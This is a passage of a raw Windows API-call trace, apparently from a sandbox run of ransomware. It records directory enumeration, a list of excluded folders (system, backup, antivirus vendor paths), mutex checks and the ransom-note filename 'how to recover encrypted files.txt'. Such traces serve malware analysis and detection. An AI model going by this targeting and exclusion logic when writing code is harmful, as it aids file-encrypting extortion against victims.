lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 37 [0047.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 6 [0047.253] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\♐RP") returned 6 [0047.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 7 [0047.253] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 7 [0047.254] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 6 [0047.254] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 6 [0047.254] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 7 [0047.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.256] GlobalLock (hMem=0x440004) returned 0x550170 [0047.256] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.256] GlobalUnlock (hMem=0x440004) returned 0 [0047.256] GlobalLock (hMem=0x440004) returned 0x550170 [0047.256] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.256] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.256] GlobalUnlock (hMem=0x440004) returned 0 [0047.256] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.256] GlobalUnlock (hMem=0x44000c) returned 0 [0047.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.257] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.257] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 46 [0047.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.257] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 15 [0047.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.257] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 11 [0047.257] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.257] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.258] GlobalUnlock (hMem=0x44000c) returned 0 [0047.258] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.258] GlobalLock (hMem=0x440004) returned 0x552180 [0047.258] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.258] GlobalUnlock (hMem=0x44000c) returned 0 [0047.258] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.258] GlobalUnlock (hMem=0x440004) returned 0 [0047.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 15 [0047.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 11 [0047.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 9 [0047.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 18 [0047.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 28 [0047.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 10 [0047.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 8 [0047.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 9 [0047.260] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.260] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 13 [0047.260] GlobalLock (hMem=0x440004) returned 0x550170 [0047.260] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.260] GlobalUnlock (hMem=0x440004) returned 0 [0047.260] GlobalLock (hMem=0x440004) returned 0x550170 [0047.260] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.260] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.260] GlobalUnlock (hMem=0x440004) returned 0 [0047.260] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.260] GlobalUnlock (hMem=0x44000c) returned 0 [0047.260] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.260] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.260] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.260] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.260] GlobalUnlock (hMem=0x44000c) returned 0 [0047.260] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.260] GlobalLock (hMem=0x440004) returned 0x553188 [0047.260] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.260] GlobalUnlock (hMem=0x44000c) returned 0 [0047.260] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.260] GlobalUnlock (hMem=0x440004) returned 0 [0047.260] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.261] CharLowerBuffW (in: lpsz="MSCDM.DLL", cchLength=0x9 | out: lpsz="mscdm.dll") returned 0x9 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.261] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", cchWideChar=72, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLLr", lpUsedDefaultChar=0x0) returned 72 [0047.261] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\MSClientDataMgr\\MSCDM.DLLr", lpUsedDefaultChar=0x0) returned 4 [0047.261] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0047.261] GetLastError () returned 0x12 [0047.261] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0047.262] GlobalLock (hMem=0x440004) returned 0x550170 [0047.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.262] GlobalUnlock (hMem=0x440004) returned 0 [0047.262] GlobalLock (hMem=0x440004) returned 0x550170 [0047.262] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.262] GlobalUnlock (hMem=0x440004) returned 0 [0047.262] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.262] GlobalUnlock (hMem=0x44000c) returned 0 [0047.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0047.262] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.262] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.262] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.262] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.262] GlobalUnlock (hMem=0x44000c) returned 0 [0047.262] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.262] GlobalLock (hMem=0x440004) returned 0x552180 [0047.262] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.262] GlobalUnlock (hMem=0x44000c) returned 0 [0047.262] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.262] GlobalUnlock (hMem=0x440004) returned 0 [0047.262] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.262] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.262] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.263] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.263] GlobalLock (hMem=0x440004) returned 0x551178 [0047.263] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.263] GlobalUnlock (hMem=0x440004) returned 0 [0047.263] GlobalLock (hMem=0x440004) returned 0x551178 [0047.263] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.263] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.263] GlobalUnlock (hMem=0x440004) returned 0 [0047.263] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.263] GlobalUnlock (hMem=0x44000c) returned 0 [0047.263] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.263] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0047.263] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.263] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.263] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.263] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.263] GlobalUnlock (hMem=0x44000c) returned 0 [0047.263] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.263] GlobalLock (hMem=0x440004) returned 0x553188 [0047.263] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.263] GlobalUnlock (hMem=0x44000c) returned 0 [0047.263] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.263] GlobalUnlock (hMem=0x440004) returned 0 [0047.263] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.263] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0047.263] GetLastError () returned 0x12 [0047.263] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0047.264] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0047.264] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0047.264] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0047.264] GlobalLock (hMem=0x440004) returned 0x550170 [0047.264] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.264] GlobalUnlock (hMem=0x440004) returned 0 [0047.264] GlobalLock (hMem=0x440004) returned 0x550170 [0047.264] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.264] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.264] GlobalUnlock (hMem=0x440004) returned 0 [0047.264] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.264] GlobalUnlock (hMem=0x44000c) returned 0 [0047.264] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.264] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.264] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.264] GlobalUnlock (hMem=0x44000c) returned 0 [0047.264] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.264] GlobalLock (hMem=0x440004) returned 0x552180 [0047.264] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.264] GlobalUnlock (hMem=0x44000c) returned 0 [0047.264] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.264] GlobalUnlock (hMem=0x440004) returned 0 [0047.264] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.265] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", len=0x35 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned 1 [0047.265] GlobalLock (hMem=0x440004) returned 0x550170 [0047.265] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.265] GlobalUnlock (hMem=0x440004) returned 0 [0047.265] GlobalLock (hMem=0x440004) returned 0x550170 [0047.265] GlobalLock (hMem=0x44000c) returned 0x552180 